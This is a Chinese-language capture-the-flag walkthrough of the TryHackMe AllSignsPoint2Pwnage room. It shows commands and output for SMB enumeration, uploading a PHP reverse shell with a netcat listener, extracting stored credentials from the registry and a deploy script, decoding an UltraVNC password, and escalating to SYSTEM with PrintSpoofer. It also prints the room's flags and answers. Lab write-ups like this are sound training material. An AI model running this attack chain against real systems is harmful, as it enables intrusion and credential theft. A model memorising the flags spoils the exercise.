Windows后渗透实战:AllSignsPoint2Pwnage靶机攻防详解

本文详细记录了TryHackMe平台AllSignsPoint2Pwnage靶机的完整攻防过程,涵盖端口扫描、匿名FTP登录、SMB共享枚举、PHP反向Shell获取、VNC密码解密、SeImpersonatePrivilege权限提升等关键技术环节,展示了完整的Windows后渗透技术链。

AllSignsPoint2Pwnage — TryHackMe实战演练

介绍

本实验面向学生和网络安全专业人员,用于练习Windows后渗透技术,包括凭据发现、VNC密码解码以及使用PrintSpoofer利用SeImpersonatePrivilege进行权限提升。通过实际操作帮助理解真实攻击路径和常见安全配置错误。

实践技能:

  • Windows凭据枚举
  • 安装程序和部署脚本分析
  • 本地权限提升
  • 获取SYSTEM级别访问权限

目标受众: 准备进行实践渗透测试、红队演练或Active Directory利用实验室的学生和专业人员。

相关认证/考试:

  • CRTP(认证红队专业人员):专注于Windows AD利用和权限提升
  • OSCP/OSWP:提供基础Windows利用和后渗透技能
  • eJPT/Pentest+:提供凭据发现和后渗透的通用理解

参考: TryHackMe — All Signs Point 2 Pwnage

初始侦察

使用服务/版本检测和默认脚本进行完整TCP nmap扫描,然后对端口1-10000进行更快速的聚焦扫描以加速发现。

1
nmap -sV -sC -Pn -p 1-10000 -T4 10.10.130.54

关键nmap输出(精简):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
PORT     STATE    SERVICE        VERSION
21/tcp   open     ftp            Microsoft ftpd
80/tcp   open     http           Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11)
135/tcp  open     msrpc          Microsoft Windows RPC
139/tcp  open     netbios-ssn    Microsoft Windows netbios-ssn
443/tcp  open     ssl/http       Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11)
445/tcp  open     microsoft-ds?
3389/tcp open     ms-wbt-server  Microsoft Terminal Services
5040/tcp open     unknown
5900/tcp open     vnc            VNC (protocol 3.8)

服务信息:操作系统:Windows;CPE:cpe:/o:microsoft:windows

问题: 1024以下有多少个TCP端口开放? 答案: 6

  • FTP(21)— 允许匿名登录
  • Web服务器(80/443)— Apache + PHP(XAMPP)
  • SMB(139/445)— 命名共享(包括可写images$)
  • RDP(3389)— 远程桌面可用
  • VNC(5900)— VNC服务存在
  • 未知服务(5040)— 需要进一步检查

注意:Windows上的Apache/PHP + 可写images$表明存在web上传/可写路径 — 理想的初始立足点。

FTP — 快速检查

由于FTP允许匿名登录,我立即连接以查找提示或文件:

1
2
3
4
ftp 10.10.130.54
# 以anonymous/anonymous登录
ftp> ls
ftp> get notice.txt

我下载了notice.txt,其中包含开发团队的简短消息:

1
2
3
4
5
6
NOTICE
======
Due to customer complaints about using FTP we have now moved 'images' to
a hidden windows file share for upload and management
of images.
- Dev Team

这给出了明确提示:检查SMB共享以查找隐藏的images共享。

SMB枚举

使用smbclient -L枚举SMB共享,发现多个共享,包括隐藏的images$共享:

1
smbclient -L 10.10.130.54

共享名称输出:

1
2
3
4
5
6
7
8
Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
images$         Disk
Installs$       Disk
IPC$            IPC       Remote IPC
Users           Disk

问题: 应将图像复制到的隐藏共享是什么? 答案: images$

上传PHP反向Shell(初始立足点)

我从可信仓库获取PHP反向Shell,并使用我的攻击IP和端口进行配置:

接下来,我使用smbclient连接到images$共享(映射到web根目录)并上传shell:

1
2
3
4
5
6
7
# 连接到images$共享
smbclient //10.10.130.54/images$

# 在smb提示符下上传文件
smb: \> put shell.php
putting file shell.php as \shell.php (0.6 kb/s) (average 0.6 kb/s)
smb: \>

文件上传到web根目录后,我打开本地netcat监听器并通过HTTP请求触发PHP shell:

1
2
3
4
5
# 在我的机器上
nc -lnvp 4444

# 从我的机器(或另一个终端)触发上传的PHP
curl http://10.10.130.54/images/shell.php

监听器立即收到连接:

1
2
3
Listening on 0.0.0.0 4444
Connection received on 10.10.130.54 49918
SOCKET: Shell has connected! PID: 3140

在远程shell上,我确认了用户和环境:

1
2
C:\xampp\htdocs\images> whoami
desktop-997gg7d\sign

因此控制台会话用户是sign。

问题: 登录控制台会话的用户是谁? 答案: sign

我还从shell枚举共享以确认其他仅远程/管理员共享:

问题: 什么隐藏的非标准共享只能作为管理账户远程访问? 答案: Installs$

获取用户标志

最后,我从sign桌面获取用户标志:

1
2
C:\Users\sign\Desktop> type user_flag.txt
thm{48u51n9_5y573m_func710n4117y_f02_fun_4nd_p20f17}

后渗透

凭据发现

运行命令:

1
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

相关输出(摘录):

1
2
3
4
5
6
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    AutoLogonSID        REG_SZ    S-1-5-21-201290883-77286733-747258586-1001
    LastUsedUsername    REG_SZ    .\sign
    DefaultUsername     REG_SZ    .\sign
    DefaultPassword     REG_SZ    gKY1uxHLuU1zzlI4wwdAcKUw35TPMdv7PAEE5dAFbV2NxpPJVO7eeSH
    AutoAdminLogon      REG_DWORD 0x1

发现自动登录已启用(AutoAdminLogon=1),注册表显示了用户.\sign的存储凭据。

恢复的密码:gKY1uxHLuU1zzlI4wwdAcKUw35TPMdv7PAEE5dAFbV2NxpPJVO7eeSH

问题: 用户的密码是什么? 答案: gKY1uxHLuU1zzlI4wwdAcKUw35TPMdv7PAEE5dAFbV2NxpPJVO7eeSH

Installs$共享和UltraVNC — 凭据发现

上下文检查Installs$ SMB共享(映射到C:\Installs)以查找部署脚本和安装程序工件。

命令:

1
type C:\Installs\Install_www_and_deploy.bat

Install_www_and_deploy.bat(摘录):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
@echo off
REM Shop Sign Install Script 
cd C:\Installs
psexec -accepteula -nobanner -u administrator -p RCYCc3GIjM0v98HDVJ1KOuUm4xsWUxqZabeofbbpAss9KCKpYfs2rCi xampp-windows-x64-7.4.11-0-VC15-installer.exe ...
xcopy C:\Installs\simepleslide\src\* C:\xampp\htdocs\
move C:\xampp\htdocs\index.php C:\xampp\htdocs\index.php_orig
copy C:\Installs\simepleslide\src\slide.html C:\xampp\htdocs\index.html
mkdir C:\xampp\htdocs\images
UltraVNC_1_2_40_X64_Setup.exe /silent
copy ultravnc.ini "C:\Program Files\uvnc bvba\UltraVNC\ultravnc.ini" /y
copy startup.bat "c:\programdata\Microsoft\Windows\Start Menu\Programs\Startup\"
pause

问题: 管理员密码是什么? 答案: RCYCc3GIjM0v98HDVJ1KOuUm4xsWUxqZabeofbbpAss9KCKpYfs2rCi

问题: 使用什么可执行文件以管理员用户名和密码运行安装程序? 答案: PsExec.exe

检查UltraVNC配置 — 凭据发现

定位UltraVNC配置文件:

1
type "C:\Program Files\uvnc bvba\UltraVNC\ultravnc.ini"

输出:

1
2
3
4
5
6
7
[ultravnc]
passwd=B3A8F2D8BEA2F1FA70
passwd2=00B2CDC0BADCAF1397
[admin]
UseRegistry=0
SendExtraMouse=1
Secure=0

这是一个加密/十六进制编码的blob,表示VNC密码。

解码UltraVNC密码

使用社区技术(参见:https://github.com/frizb/PasswordDecrypts)。

在攻击者Linux主机上执行的命令:

1
2
echo -n B3A8F2D8BEA2F1FA70 | xxd -r -p | \
  openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv

输出hexdump(截断):

1
00000000  35 75 70 70 30 72 74 39                           |5upp0rt9|

解码的VNC密码:5upp0rt9

问题: VNC密码是什么? 答案: 5upp0rt9

权限提升和Root标志捕获

权限枚举

在枚举过程中,我们发现当前用户启用了SeImpersonatePrivilege,这允许模拟其他用户,包括SYSTEM。

命令:

1
whoami /priv

相关输出:

1
2
3
4
5
6
7
8
9
Privilege Name                Description                               State   
============================= ========================================= ========
SeShutdownPrivilege           Shut down the system                      Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeUndockPrivilege             Remove computer from docking station      Disabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled   <--
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled

使用PrintSpoofer利用SeImpersonatePrivilege

为了提升到NT AUTHORITY\SYSTEM,我们利用了PrintSpoofer有效载荷。

步骤1: 下载PrintSpoofer

1
wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe

步骤2: 通过SMB将二进制文件上传到目标

1
smb: \> put PrintSpoofer64.exe

步骤3: 在目标上执行PrintSpoofer

1
C:\xampp\htdocs\images>PrintSpoofer64.exe -i -c cmd

输出:

1
2
3
4
5
6
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.18362.1256]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Windows\system32>

捕获Root标志

使用SYSTEM权限,我们访问了Administrator桌面标志:

1
type "C:\Users\Administrator\Desktop\admin_flag.txt"

标志:thm{p455w02d_c4n_83_f0und_1n_p141n_73x7_4dm1n_5c21p75}

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计